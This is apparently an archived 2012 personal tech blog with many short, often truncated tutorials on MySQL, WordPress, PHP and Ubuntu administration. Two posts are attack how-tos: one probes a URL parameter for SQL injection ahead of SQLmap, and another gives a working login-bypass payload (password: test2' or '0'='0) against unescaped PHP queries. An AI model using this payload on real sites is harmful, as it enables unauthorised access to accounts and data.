Dec 18, 2012

How to change mysql database or table collation


 



You can use the ALTER TABLE/DATABASE SQL statements to convert your data.


 


To set the default character set for a database, use the following statement.


 


ALTER DATABASE <database_name> CHARACTER SET utf8;


 


This does not affect any existing tables, but any future tables created in this database will use utf8 by default.


 


How to change mysql database- table collation


 


For each table you want to convert to utf8, use the following statement.


 


ALTER TABLE <table_name> CONVERT TO CHARACTER SET utf8;


 


This will automatically convert all text columns to utf8.


 

Dec 15, 2012

How to Change a Broken WordPress Theme Using PHPMyAdmin


 


Sometimes when editing .php files you will make a mistake and end up breaking your theme or sometimes you might upload a theme that is old and out of date or is just too problematic and it needs to be switched back to the twenty ten default theme.



Some times the following error may occur.



Change a Broken WordPress Theme 1


 


Here is an easy way to switch to the twenty ten default theme using PHPMyAdmin.


 


Step 1


 


Go into your cPanel and look for the Databases section and click on the phpmyadmin link.




 


Step 2


 


Select the database where your WordPress is stored.




 


Step 3


 


Select the ‘wp_options’ table from the menu on the left.

 

How to Add Leverage Browser Caching in WordPress Website via .htaccess


 


Step 1


 


First you need to access your .htaccess file through cPanel by clicking on the File Manager. When the popup box appears, click on the Web Root option and make sure that the “Show hidden files” option is checked.


 


Add Leverage Browser Caching 1





 


Step 2


 


Open up your .htaccess file and paste the following directives at the top of the file:


 

Dec 13, 2012

MySQL database export to pdf using PHP


 


To export whole database or whole table content we can use phpMyAdmin Export option but if you want to export some rows or any query result then we should perform some other way.


 


To create PDF file we should first download the FPDF Library - Click Here.


 


Copy the following code and create a new PHP file called exportpdf.php and paste the content into it or download the file - Click Here


 


Sample Output


Export PDF



Sample Code


 


<?php


require('fpdf.php');


$d=date('d_m_Y');


 

Dec 12, 2012

How to fix ereg and ereg_replace is deprecated errors in PHP 5.3


 


If you upgraded to PHP 5.3 Version, chances are high you’re going to run into a few warnings or deprecated function error messages.


 


ereg is deprecated


 


An example is the ereg family of functions, which are gone for good, as they were slower and felt less familiar than the alternative Perl-compatible preg family.




 


To migrate ereg() to preg_match()


 


Before


 


ereg('\.([^\.]*$)', $this->file_src_name, $extension);


 


After


 


preg_match('/\.([^\.]*$)/', $this->file_src_name, $extension);


 


Notice that we should wrapped the pattern (\.([^\.]*$)) around / /, which are RegExp delimiters. If you find yourself escaping / too much (for an URL for example), you might want to use the # delimiter instead.




Dec 7, 2012

How To Optimize Your Site With GZIP Compression


 


Step 1


 


First you need to access your .htaccess file through cPanel by clicking on the File Manager. When the popup box appears, click on the Web Root option and make sure that the “Show hidden files” option is checked.


 


Add Leverage Browser Caching 1





 


Step 2


 


Open up your .htaccess file and paste the following lines.


 


How to view and kill the process in Linux using Terminal


 


We can see the currently running processes in Terminal. Process means the application, command, or script that is running in your computer. Process can be visible or it can be hidden. If you just open Mozilla Firefox, then the process is created. Each process has the unique ID, called PID.


 


To view the processes


 


Open the terminal and type this command:


 


ps -e


 


To view in the page manner type:


 


ps -e | less


 


linux processes



Here, PID refers to the process ID. Every process has the unique id.


How to find windows alternative software for Linux


 


Linux have lot of alternative to windows software. Good news, the alternative are free software. Try to note down the one that you need. Finding an open source application for your need might helps you to convert yourself to Linux in short period of time. The are are several website where you can find the alternative software for commercial software. Some of them are:


 


Method 1


 


The Linux Alternative Project (formerly the Linux Equivalent Project). The website is currently in beta form and it will periodically update the database with Windows software and the Linux equivalents and alternatives.


 


To view website ==> Linux Alt - Click Here




 


Method 2


 


Its mission is to provide easy access to high quality open source alternatives to well-known commercial products. And remember that open source software is also a freeware alternative.


 


To view website ==> Osalt - Click Here



Different ways to use wget command in Linux


 


Wget is non-interactive network downloaded meaning all the download operation will run in the background. Therefore you can download any file from the Internet with wget command.


 


Wget also lets user to download the entire website. The download process start with simple wget command followed by the website URL. Wget supports HTTP, HTTPS and FTP protocol to download file.


 


Download web pages using wget


 


For example you want to download the front page of jijokjose.com. You can simply follow the command


 


wget jijokjose.com


 


the download start and saved your file in home directory which you can use for later off-line uses. Now lets suppose you have connection problem or the jijokjose server has some problem. Wget try to reconnect to the server 20 times by default. You can limit the reconnection limit by following command


 


wget -t jijokjose.com


 

Dec 6, 2012

How to Delete WordPress Post Revisions To Reduce Database Size


 


It is also made sense to delete and remove all existing stored post revisions and changes made on pages stored in the database in order to reduce the wp_posts table size, especially when there is already tons of revisions or changes been kept. After this operation you can reduce several MB size of your wp_posts table.


 


To view your post revisions, select any post and click edit button then scroll down to bottom of the page.


 


Delete WordPress Post Revisions 1


 


To delete and remove all existing post revisions entries, delete all rows from WordPress database Posts table having post_type value as revision.




Dec 4, 2012

How to change Hidden Attribute of a file/folder in Windows OS


When a Virus modifies these attributes to the files/folders in a removable device (USB/SD Memory/HDD) in order to hidden them from the user.



The problem is solved using attrib -s -h /s /d command.



The effect of New Folder.exe virus : It just make all your directory as system director and also make it hidden. Then it creates exe file for each directory with directory icon. This is why when you open any folder, it opens in new window (if you are using Microsoft windows as operating system).



So, First deleted all those exe files and delete recycle directory as well. This should remove your folder.exe virus. But still you need remove the effect of virus. You need to update back the folder attributes.



Open Command Prompt Window and navigate to the required folder usind cd <foldername> command then you can do it by a single line command:



Method 1



attrib -s -h /s /d





Method 2



attrib FOLDERNAME -s -r -a -h /S /D




Dec 3, 2012

How to solve malayalam or any other font display error in wordpress


If your wordpress site don't show malayalam or any other fonts then no need to worry. It is a simple problem in your database.



Problem



Post title and post content accepts malayalam font and when you publish the post then it displays only ???????? characters.



Before publishing : After pasting malayalam texts in title and content page, It looks like below



malayalam font display error in wordpress 1


Dec 2, 2012

How to Install JDK 7 on Ubuntu


There are several JDK implementations available for Linux, such as Oracle JDK 7, OpenJDK, Sun JDK 6, IBM JDK and GNU Java Compiler. We shall choose the Oracle JDK 7 (Ubuntu chooses OpenJDK as its default JDK, which is not 100% compatible with Oracle JDK).



Step 1 : Check if JDK has already been Installed


 


Open a Terminal or press Ctrl + Alt + T and issue this command:


 


javac -version


 


If a JDK version number (e.g., "javac 1.7.0_{xx}") appears, JDK has already been installed. You can skip the installation and goto step 3.


 


Step 2 : Download and Install JDK


 


Goto JDK (Java SE) download site at



Select "Java SE 7ux" ⇒ JDK ⇒ Download ⇒ "Accept Licence Agreement" ⇒ Select Linux x86 (for 32-bit system) or Linux x64 (for 64-bit system) "tar.gz" package, e.g., "jdk-7ux-linux-i586.tar.gz". The tarball will be stored in folder "~/Downloads", by default.


We shall install JDK under "/usr/lib/jvm". First, create a directory "jvm" under "/usr/lib" (with superuser authority "sudo"). Open a Terminal and issue these commands:


 


cd /usr/lib


sudo mkdir jvm


 

Dec 1, 2012

How to Install NetBeans on Ubuntu


To use NetBeans for Java, PHP programming, you need to first install JDK. Read "How to install JDK on Ubuntu".



Step 1 : Download netbeans


 


Download NetBeans from http://netbeans.org/downloads/. Choose platform "Linux (x86/x64)" ⇒ "Java SE". You shall receive a sh file (e.g., "netbeans-7.x-ml-javase-linux.sh") in "~/Downloads".


Set the downloaded sh file to executable and run the sh file.




Step 2 : Install netbeans


 


Open a Terminal and type the following commands.


 


cd ~/Downloads


chmod a+x netbeans-7.x-ml-javase-linux.sh   // Set to executable for all (a+x)


./netbeans-7.x-ml-javase-linux.sh                   // Run


 


Follow the instructions to install NetBeans.




How to install LAMP in ubuntu


 



Open terminal or press Ctrl + Alt +T and type the following command


 


sudo apt-get install lamp-server^


 


lamp 2





 


When you search for the name of the package that the given command seems to install cannot be found using apt-cache search. e.g. You will see this used most often when someone tells you how to install LAMP server setup (Linux-Apache-MySQL-PHP) by using the command “sudo apt-get install lamp-server^”. If you miss the caret at the end or try to search for lamp-server, it just doesn’t work.


 

Nov 30, 2012

Hacking Website Database with SQLmap in Backtrack 5 or Linux OS


All we needed is a vulnerability webpage. Lets say you have a url like this



http://www.site.com/section.php?id=51



and that it is prone to sql injection because the developer of that site did not properly escape the parameter id.



This can be simply tested by trying to open the url



http://www.site.com/section.php?id=51'



We just added a single quote in the parameter. If this url throws an error then it is clear that the database has reacted with an error because it got an unexpected single quote..



To understand the process please change video quality to 1080p and watch in HD Quality





Test and Boot an ISO Image Using Virtual Machine


 



To test an ISO image without burning to a disc using Oracle VirtualBox or VMWare Workstation. Of course, you can use any of the other virtual machine software to get a similar result. I also have Virtual PC installed and it too does a good job of mounting ISO images for testing, but for this article VirtualBox is used because it’s freely available to run on all Windows and Unix systems.


 


Simply follow the steps to load an ISO image into VirtualBox:


 


Step 1


 


Download and install VirtualBox.


 


Step 2


 


Run VirtualBox.


 


Boot an ISO Image Using Virtual Box 1


Nov 29, 2012

How to find the Web Server that a web site runs on


There are many website that provides this type of services. The program detects the web server that a web site is running on.


 


Website 1


 


http://www.yellowpipe.com/yis/tools/craftnet/index.php?q=www.jijokjose.com&submit=OK


 


How to find the Web Server that a web site runs on 1




 

Nov 27, 2012

Internet access problem in Terminal using proxy server network connection



Internet access problem in Terminal using proxy server network connection



When we use different internet connection in one laptop, and if one of those connections is proxy server network connection, then we may have a problem with accessing internet in Ubuntu Software Center and in Terminal.



In direct connection we haven’t any problem with internet access. But when we switch to proxy connection, at first everything is ok, internet works in Gnome.(firefox and all applications can take access from GNOME). But Terminal and Software Center gives connection error. We can do this simple action in Terminal.



Open Terminal or press Ctrl + Alt + T and type the following commands.



Step 1



Navigate to /etc/apt directory using



cd /etc/apt



Internet access problem in Terminal using proxy server network connection 1





Nov 25, 2012

How to solve no interfaces listed in Wireshark


 



After installing wireshark in linux some peoples got an error that no interface is listed which look likes below.


 


wireshark no interface 1


 


To eliminate this error do the following.


 


Method 1


 


Some of the specific files/devices that needed permissions in Ubuntu, so open wireshark in root account or use the following command to open wireshark.


 


sudo wireshark


 

Nov 23, 2012

How to install a .tar.gz (or .tar.bz2) file in linux


 


The answer is you cannot "install" a .tar.gz file or .tar.bz2 file. Because .tar.gz files are gzip-compressed tarballs, compressed archives like .zip files. .bz2 files are compressed with bzip2.


 


Step 1


 


Open a terminal or press Ctrl + Alt + T




 


Step 2


 


Use the command cd <foldername> to navigate to the correct folder.


 


Make sure you first read a file called INSTALL or INSTALL.txt or README




 


Step 3


 


Extract the files with one of the commands


 


If it's tar.gz use


 


tar xvzf PACKAGENAME.tar.gz


 


If it's a tar.bz2 use


 


tar xvjf PACKAGENAME.tar.bz2




 

Nov 19, 2012

How to Fix Windows Bootloader - Using bootrec.exe Tool


 



To run the Bootrec.exe tool, you must start Windows Recovery Environment. To do this, follow these steps:


 


Step 1


 


Put the Windows Vista or Windows 7 or Windows 8 installation disc in the disc drive, and then start the computer.




 


Step 2


 


Press a key when you are prompted.




 


Step 3


 


Select a language, a time, a currency, a keyboard or an input method, and then click Next.




Nov 16, 2012

How to Repair GRUB 2 When Ubuntu Won't Boot


 


Using Terminal Method



If you have Ubuntu 12.04 installed, ensure you use a Ubuntu 12.04 live CD.


Open a terminal after booting into the live environment. Identify the partition Ubuntu is installed on using one of the following commands:


 


sudo fdisk -l


sudo blkid


 


Step 1


 


Here is the output of both commands. In the sudo fdisk -l command, the Ubuntu partition is identified by the word Linux in the System column. 


 


Output of drive information 1




Nov 14, 2012

Various Array Operations in PHP


An array can be created using the array() language construct. It takes any number of comma-separated key => value pairs as arguments.



array(



    key  => value,



    key2 => value2,



    key3 => value3,



    ...



)




The comma after the last array element is optional and can be omitted. This is usually done for single-line arrays, i.e. array(1, 2) is preferred over array(1, 2, ).





 

Nov 11, 2012

Apache 2 Web Server in Linux - Start, Stop and Restart


 


Start Apache 2 Web Server


 


To start Apache 2 web server, enter:


 


/etc/init.d/apache2 start


 


or


 


sudo /etc/init.d/apache2 start




 


Restart Apache 2 Web Server


 


Restart Apache 2 web server, enter:


 


/etc/init.d/apache2 restart


 


or


 


sudo /etc/init.d/apache2 restart




 

Nov 7, 2012

How to import large sql file (> 3MB) in wamp using phpMyAdmin


Normally phpMyAdmin imports sql files with less than 3 MB. To upload .sql files with more than 3 MB (usually in wordpress site) we have  to use a diffent method.



Step 1



Move to phpMyAdmin folder usually it is located in "C:\wamp\apps\phpmyadmin3.3.9". 



Step 2



Open config.inc.php file.



Find the code $cfg['UploadDir'] =''; and replace it with $cfg['UploadDir'] = 'upload';



Save config.inc.php file.



Step 3



Create a folder named upload into the phpMyAdmin folder ( C:\wamp\apps\phpmyadmin3.3.9 ).


Making usb bootable windows using winUSB


 



 



 


WinUSB Maker, is a tool to make dynamically any Removable Device / External HDD as bootable with Windows Setup. Watch the video to know how make usb bootable windows OS.


 









Nov 6, 2012

Remove Old Kernels from Ubuntu 12.10 with Ubuntu Tweak


 



If you’ve been using and updating Ubuntu for sometime now, you may have old kernels installed on your system that are not useful anymore.


 


Using Ubuntu Tweak, this brief tutorial is going to show you how to remove those old kernels from Ubuntu 12.04 / 12.10 easily with few clicks. If these unused kernels are not removed, they may just end of using valuable space on your system’s disks.


 


Step 1


 


To get started, press Ctrl + Alt + T on your keyboard to open the terminal. When it opens, run the commands below to add Ubuntu Tweak PPA


 


sudo add-apt-repository ppa:tualatrix/ppa



Nov 4, 2012

Install LAMP (Linux + Apache + MySQL + PHP ) in Ubuntu 12.10


LAMP stands for Linux, Apache, MySQL and PHP. This script installs those programs and packages at once easily in Ubuntu.



Press Ctrl + Alt + T on your keyboard to open the terminal. When it opens run the commands below to install the packages.


 


sudo apt-get install lamp-server^


 



During the installation, you’ll be prompted to create a password or MySQL server. Create one to continue.


 


Test 1 - Apache


 


After the installation, test Apache by opening your web browser and typing localhost. When you seen the screen below, it means Apache is functioning.


 


Install LAMP (Linux + Apache + MySQL + PHP ) in Ubuntu 12.10




Nov 1, 2012

Install wine 1.5.16 in ubuntu 12.10


 



Wine version 1.5.16 has just been released and the following steps show you how to install it in Ubuntu 12.10.


 


For more about this release, please click here.


 


And if you don’t know what Wine is, it is a program that lets you run or install programs designed for Windows in Linux systems, including Ubuntu.


 


If you ever wanted to install Windows programs in Linux, then Wine is the program you’ll need to help you do that.


 


Step 1


 


To get started, press Ctrl + Alt + T on your keyboard to open the terminal. When it opens run the commands below to add Wine’s PPA.


 


sudo add-apt-repository ppa:ubuntu-wine/ppa



Oct 31, 2012

How to fix links not working error after moving server files in WordPress


If the home page showed up just fine, but posts and inside pages all went right to File Not Found 404 pages. Then do the following steps



Step 1


 


Login as administrator and goto Dashboard.


 


Step 2


 


Go to Dashboard > Settings > Permalinks and simply clicked “Save Changes".


 


No need to change anything. Just click the save changes button then wordpress remove the errors automatically .


Reload your wordpress site and check the links. 


 

Oct 30, 2012

Hide the guest account on ubuntu 12.10 from the logon screen


 



Here’s a quick way to hide the guest account from the logon screen. 



To get started, press Ctrl + Alt + T on your keyboard to open the terminal. When it opens, run the commands below to hide the guest account from the logon screen.


 


sudo sh -c 'echo "allow-guest=false" >> /etc/lightdm/lightdm.conf'


 


Restart your computer and the guest account should be gone.


 


Hide gust account in ubuntu 12.10





Oct 29, 2012

How to use GROUP BY and ORDER BY together in SQL


Step 1



First you need to create one table named employee with 9 fields.



CREATE TABLE employee (


 


    id int unsigned not null auto_increment primary key,


    firstname varchar(20),


    lastname varchar(20),


    title varchar(30),


    age int,


    yearofservice int,


    salary int,


    perks int,


    email varchar(60)


); 


 


Step 2


 


Insert some dummy values into the employee table


 



INSERT INTO employee (firstname, lastName, title, age, yearofservice, 


salary, perks, email) values ("James", "John", 


"Programmer", 31, 3, 120000, 25000, "jj@gmail.com");


 



INSERT INTO employee (firstname, lastName, title, age, yearofservice, 


salary, perks, email) values ("Joe", "Mathew", 


"Teacher", 42, 4, 186000, 32000, "jm@gmail.com");


 



INSERT INTO employee (firstname, lastName, title, age, yearofservice, 


salary, perks, email) values ("Jobin", "Thomas", 


"Programmer", 28, 1, 236000, 36800, "jt@gmail.com");




Oct 24, 2012

Return to Gnome Classic in Ubuntu


As you may well know, Ubuntu comes with Unity Desktop by default and fallback to Unity 2D if your graphic card isn’t capable of running the 3D version of Unity. Now, if Unity is not what you’re used to, you can still switch your desktop session to the classic Gnome Desktop easily by running just one command. And to do the following step.



Press Ctrl + Alt + T on your keyboard to open Terminal. When it opens, run the commands below to enable Gnome Classic.


 


sudo apt-get install gnome-session-fallback


 


Restart and on the logon screen, click the option to change your session.


 


Return gnome 1


 

Oct 20, 2012

How to enable root login in Ubuntu 12.10


 



Here’s a quick way to login as root in Ubuntu 12.10. This is not recommended as the root user account is disabled for a reason.



To get started, press Ctrl + Alt + T on your keyboard to open the terminal. When it opens, run the commands below to create a root password.


 


sudo passwd root


 


Next, run the commands below to enable root login in Ubuntu 12.10


 


sudo sh -c 'echo "greeter-show-manual-login=true" >> /etc/lightdm/lightdm.conf'


 


Method 1 - Login using terminal


 


To login as root you must open terminal by pressing Ctrl + Alt + T. Run the following command


 


su root


 


Now enter your root password.



Oct 19, 2012

Upload .doc and .docx file using PHP


To download code - Click Here



Step 1



Create one html file named index.html and paste the following code into it.



<html>



<body>



<form enctype="multipart/form-data" method="POST" action="upload.php">This is the code for html:



<table border="0">



<tbody>



<tr>



<td align="left">File:</td>



<td><input accept="doc/docx" name="filename" size="40" type="file" /></td>



</tr>



<tr>



<td><input name="Upload" type="submit" value="Upload" /></td>



</tr>



</tbody></table>



</form>



</body>



</html>




Oct 17, 2012

HTML form validation using JavaScript


To download code - Click here



To view demo click Register button







 




 



 







Step 1



Create one HTML file named index.html and paste the following code and save it.


Disable Overlay Scrollbar in Ubuntu 12.10


 



If you are used to the regular scrollbar that was in previous versions of Ubuntu, then you’ll want to disable this new overlay feature now in Ubuntu.


 


To get started press Ctrl + Alt + T on your keyboard to open the terminal. When it opens, run the commands below.


 


gsettings set com.canonical.desktop.interface scrollbar-mode normal


 


old scrollbars



Automatically Hide Unity Launcher in Ubuntu


Do you want enable Unity Launcher to automatically hide in Ubuntu 12.04. When you upgrade or install Ubuntu 12.04, the launcher is docked on the left and won’t auto-hide. Enabling it will give you some more space to work it.



To get started, go to ‘Control Gear --> System Settings


 


Next, select ‘Appearance


 


Then the Behavior tab and click the button to turn it on. You can also set the sensitivity level of the launcher from here as well.


 


auto hide




Oct 10, 2012

Ajax - Jquery Auto Refreshing DIV


 


The following demo example display server timestamp on every 2 second. You can easily edit the code and display any database content.


 





 


 


 


You have a div that you would like to be up to date on your website without having the page refresh event, this problem can be solved by using the following script. Let’s say that you want to show the total number of rows in a particular table on every 3 second without performing a page refresh event. Then do the following steps


 



 


Step 1 - Load ajax Script


 


<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>


 


This script load ajax script remotely.



Oct 3, 2012

Insert Data from One Table to another Table in MYSQL - Insert Into Select & Select Into Table


Method 1: INSERT INTO SELECT



This method is used when table is already created in the database earlier and data is to be inserted into this table from another table. If columns listed in insert clause and select clause are same, they are are not required to list them. I always list them for readability and scalability purpose.



----Create TestTable



CREATE TABLE TestTable (FirstName VARCHAR(100), LastName VARCHAR(100))



----INSERT INTO TestTable using SELECT



INSERT INTO TestTable (FirstName, LastName)



SELECT FirstName, LastName



FROM Person.Contact



WHERE EmailPromotion = 2



----Verify that Data in TestTable



SELECT FirstName, LastName



FROM TestTable



----Clean Up Database



DROP TABLE TestTable




Install an RPM Package on Ubuntu


 



Installing software on Ubuntu usually entails using Synaptic or by using an apt-get command from the terminal. Unfortunately, there are still a number of packages out there that are only distributed in RPM format.


 


There’s a utility called Alien that converts packages from one format to the other. This doesn’t always mean that an rpm will work on your system, though. You will need to install some prerequisite software packages in order to install alien, however. These packages include gcc and make.


 


Run this command to install alien and other necessary packages:


 


sudo apt-get install alien dpkg-dev debhelper build-essential


 


To convert a package from rpm to debian format, use this command syntax. The sudo may not be necessary, but we’ll include it just in case.


 


sudo alien packagename.rpm


 


To install the package, you’ll use the dpkg utility, which is the internal package management tool behind debian and Ubuntu.


 


sudo dpkg -i packagename.deb


 

Sep 25, 2012

Add Open As Administrator to the Context Menu in Ubuntu


Do you want to enable the command ‘Open as Administrator’ to the context menu in Ubuntu 12.04. When this feature is enabled, you should be able to right-click any file or folder in nautilus and open it as an administrator or root. This will come in handy especially for new users who want to edit or modify files or folders owned by the root user or administrator.



To get started, press Ctrl + Alt + T on your keyboard to open Terminal. When it opens, run the commands below to download it.


 


wget http://www.liberiangeek.net/blog/tools/libnautilus-gksu.so


 


Next, copy the file to the folder using the following command.


 


sudo cp libnautilus-gksu.so /usr/lib/nautilus/extensions-3.0/


 


Restart your computer or use "nautilus -q" to view the changes.


 


Sep 24, 2012

How to find id of last inserted row in MYSQL using PHP


 



To find id (auto increment) value of last inserted row, put the following code into the PHP page.



<?php



$link = mysql_connect('localhost', 'mysql_usenamer', 'mysql_password');


if (!$link) {


    die('Could not connect:to the database ' . mysql_error());


}


mysql_select_db('mydb');


 


mysql_query("INSERT INTO mytable (user) values ('jijo')");


printf("Last inserted record has id %d\n", mysql_insert_id());


?>




Sep 22, 2012

Download and Install Android SDK in Ubuntu 12.04


Android SDK is a development environment for the Android mobile operating system which allows you to write applications for Android devices or gain elevated privileges on android devices with the help of third party software.



This brief tutorial is going to show you how to download and install it in Ubuntu 12.04. To install it, you first need to install Java JDK package or use the openJDK Java alternative that comes with Ubuntu.


 


Step 1 - Install Oracle Java Version


 


First we need to install openJDK version of Java. To install Oracle Java version.


To get started, press Ctrl + Alt + T on your keyboard to open the terminal. When it opens, run the commands below to install OpenJDK.


 


sudo apt-get install openjdk-6-jre openjdk-6-jdk icedtea6-plugin




Step 2 - Download SDK Package


 



Next, download AndroidSDK package by running the commands below. Now the current version was r20. Or click this link to download the .tgz archive file.


 


wget http://dl.google.com/android/android-sdk_r20-linux.tgz




Sep 19, 2012

Disable the Global Menu in Ubuntu


Since Unity Desktop was introduced in Ubuntu, all applications have used one global menu by default. Instead of each application having its own menu bar, it’s now setup that they all share the global menu bar. Maybe this is cool for some, but for others, it’s a real issue.



To get started, press Ctrl + Alt + T on your keyboard to open terminal. When it opens, run the commands below to disable it.


 


sudo apt-get autoremove appmenu-gtk appmenu-gtk3 appmenu-qt


 


Restart your computer to apply the changes.


 


Global menu



Sep 18, 2012

How to install flash player on Ubuntu


 



Method 1 : Using Terminal


 


Open terminal by pressing Ctrl +Alt + T


 


sudo apt-get install flashplugin-installer




 


Method 2: Using Ubuntu Software Center


 


Use the following steps to install flash player plugin


 


1. Click on the Ubuntu Software Center icon.


This icon located on the launcher bar at the left hand side of   the screen.


 


2.Type in "flashplugin-installer" on the search bar and press enter.


 


3.You should find the Adobe Flash plugin pop up in the search results.


 


4.Click on the "Install" button.


 

Sep 16, 2012

How to Install or uninstall .deb files


These files are Debian packages. The package files associated with Ubuntu have the .deb suffix because of Ubuntu's close relations with the Debian GNU/Linux distribution.



You will need administrative privileges to install a .deb file.



Method 1




To install a .deb file, simply double click on it, and then select Install Package



Install deb File





Sep 13, 2012

A simple Java Script Date Picker Function


 



A simple and effective date picker can be created using the following java script codes.



 






To download code - Click Here





Step 1



Create an index.html file and paste the following codes.



Sep 9, 2012

Disable the Recovery Mode in Ubuntu 12.04


Recovery Mode in Ubuntu allows you to restore your system, change user passwords and gain root access to your Ubuntu machine in case of an emergency.



Since anyone with physical access to your machine can change user passwords, whereby gaining total access to your machine, disabling this feature will protect you from folks with physical access who want to gain access via recovery mode illegally.


 


However, disabling this feature will also deny you access in case of an emergency when you need to access your computer via recovery mode.


 


So, be careful when doing this, and have a very good reason for turning recovery mode off.


 


To get started, press Ctrl + Alt + T on your keyboard to open the terminal. When it opens, run the commands below to open grub config file.


 


sudo gedit /etc/default/grub


 

How to Install Google Chrome in Ubuntu


 



To get started, press Ctrl – Alt – T on your keyboard to open the terminal. When it opens, copy and paste the commands below to download Google Chrome 32-bit deb package.


 


Method 1


 


wget https://dl.google.com/linux/direct/google-chrome-stable_current_i386.deb


 


Method 2


 


Download location:

    (32-bit): google-chrome-unstable_current_i386.deb




 


Next, run the commands below to install Google Chrome.


 


sudo dpkg -i google-chrome*


 

Sep 7, 2012

How to use PowerISO as ISO Mounter in windows OS


 



 



 


PowerISO has a built-in virtual drive, which can mount iso files and other CD / DVD image files. There is no need to install any other virtual drive software to mount ISO file. It is very convenient to mount an ISO file. You can mount it using the main program, using the shell context menu, or using the PowerISO virtual drive manager.


 


Usage1: Mount  ISO file using the main program:


 


Click the "Mount" button on toolbar. PowerISO shows the iso mounter menu.


 


Click a virtual drive from the popup menu.


 


Choose the iso file you want to mount, then click "Open" to mount it.


 


How to login as Administrator in website without having username and password


 


Method 1


 


If the PHP code in the login check page is like below


 


<?php


 


$username=$_POST['username'];


$password=$_POST['password'];


mysql_query("select * from user where username='$username' and password='$password'");


 


?>


 


Then we can easily login to the system without having any username or password. Change the value of username and password so that it bypasses login check.


 


Put the value of username : test1 


Put the value of password  : test2' or '0'='0


 


Then the PHP code in the login check page will be changed to


 


<?php


 


$username=$_POST['username'];


$password=$_POST['password'];


mysql_query("select * from user where username='test1' and password='test2' or '0'='0");


 


?>


 


Then 0=0 will always return a true value. Then database returns the first row from the user table so we can login as the first user.



Sep 3, 2012

How to backup wordpress site


Method 1



The simple and easy way to backup your wordpress site is to download and install “BackUpWordPress” pluggin.  By using this pluggin you can backup database as well as files.


 



 


Backup Files



 


After installing and activating the pluggin you can open “BackUpWordPress” pluggin by Tools --> Backups.You can change the settings and save.


 

Sep 2, 2012

How to send Email using PHP


 


Method 1 – Using phpMailer() function



First you need to download phpMailer from the following link



http://code.google.com/a/apache-extras.org/p/phpmailer/downloads/list



Or you can copy the following code and set username and password fields with your own gmail account username and password.



<html>



<head>



<title>PHPMailer - SMTP (Gmail) basic test</title>



</head>



<body>



<?php



//error_reporting(E_ALL);



error_reporting(E_STRICT);



date_default_timezone_set('America/Toronto');



require_once('../class.phpmailer.php');


Sep 1, 2012

How to find name of the current page in PHP


Method 1



To display full path name



<?php



echo $_SERVER['PHP_SELF'];



?>



Output ==> /public_html/index.php





Method 2



To display only the file name use the following query.



<?php



    $currentFile = $_SERVER["PHP_SELF"];



    $parts = Explode('/', $currentFile);



    echo $parts[count($parts) - 1];



?>



Output ==> index.php





Method 3



<?php



echo realpath(dirname(__FILE__));


 



?>



Output ==> C:\wamp\www\public_html\wp-content\plugins\exec-php\includes






 


Method 4


 


<?php


 


echo getcwd();


 


?>


 


Output ==> C:\wamp\www\public_html






 


Method 5


 


<?php


 


echo $file=$_SERVER['DOCUMENT_ROOT'];


 


?>


 


Output ==> C:/wamp/www/





Method 6




<?php


 


echo $_SERVER["SCRIPT_FILENAME"];


 


?>


 


Output ==> C:/wamp/www/public_html/index.php


 




 

Aug 29, 2012

How to import csv data into the database using php


 



To download code - Click Here



Step 1



Create a database db_test and add one table named test with the following fields



name



username



department



phone






Aug 26, 2012

Install phpMyAdmin in Ubuntu 12.04


phpMyAdmin allows you to manage MySQL Servers easily from any popular web browser. Instead of connecting to MySQL server from the command line or console every time you wish to make a change, use your web browser and connect to it, then make the change there. It will allow you edit, drop, modify database tables and data within your browser.



Most online hosts will make this available to you when managing websites or blogs online. It’s a very efficient and reliable tool to manage your WordPress blog database.




Step 1


 


To get started, press Ctrl + Alt + T on your keyboard to open the terminal. When it opens, run the commands below to install it.


 


sudo apt-get install phpMyAdmin




Step 2


 


Then choose the web server you want to associate with this tool. It will mostly be apache2


 


phpMyAdmin_1



Aug 24, 2012

How to update ubuntu software


 



Method 1: Ubuntu software update using command line


 


apt-get is the command-line tool for handling packages, updating package and installing patches under Ubuntu Linux. All you have to do is type the following two command to update all installed software to latest version.


 


Open terminal and type the following two commands:


 


$ sudo apt-get update


$ sudo apt-get upgrade




Aug 20, 2012

How to stop programs from automatically starting up in Windows


If you have tons of programs installed on your computer and most of them start up automatically in the background when Windows starts, then sooner or later your PC performance will suffer. Because the more programs that are loaded in Windows, the worse your computer performs.



This is also beneficial because it speeds up your computer and gives you more resources to work with.


 


Step 1


 


Click Start –>  and type ‘msconfig’ or press windows key + r in the search box as shown below and select the program from the list above.


 


Step 2


 


Select the StartUp Tab and uncheck the box next to the program you want to disable Once done, click OK.


 


windows run


Aug 19, 2012

How to remove "headers already sent" error in PHP


 



This error occurs mainly when you are working PHP in Linux Servers.



Method 1



The "headers already sent" error is usually caused by having white space before or after the opening and closing PHP tags (<?php . . . ?>).





Method 2



In top of page put



ob_start();



In bottom of page put



ob_flush();




Aug 9, 2012

Enable Nautilus Location Entry in Ubuntu


By default, this feature is disabled when you installed Ubuntu. The location entry in nautilus lets you use the location box to go to a folder by typing it instead of using to mouse to open one folder at a time until you reach your destination.



This can come in handy if you need to quickly go to a particular location in nautilus without individually opening each folder. 


 


To get started, press Ctrl + Alt + T on your keyboard to open Terminal. When it opens, run the commands below to turn it on.


 


gsettings set org.gnome.nautilus.preferences always-use-location-entry true


 

Aug 7, 2012

How to solve Unable to lock the administration directory /var/lib/dpkg/ in Ubuntu


 


You may have frequently encountered this while trying to install the software from the Ubuntu terminal. It means, that you are already installing the another software through Ubuntu software center or Synaptic Manager. You can install more than one software at a same time.


 


So, finish for the installation of one software and continue with the other one. But, however if the synaptic manager crashed or you cancel the software installation the process still can be locked. The solution is killing the process and continuing with installing the software. Here’s how you kill the process:


 


To kill the process, Open terminal and paste following command:


 


sudo fuser -vki /var/lib/dpkg/lock


 


kill lock process



Press “Y” to kill the process.



Again, use this command to configure and unpack the packages:


sudo dpkg configure -a


Install and uninstall NVIDIA driver in ubuntu


 


Install NVIDIA Driver


 


First you need to install the linux kernel headers:


 


sudo apt-get install linux-headers-generic


 


Then you will need to run dkms to remove the old nvidia kernel module:


 


sudo dkms remove nvidia


 


Then run:


 


sudo apt-get install nvidia-current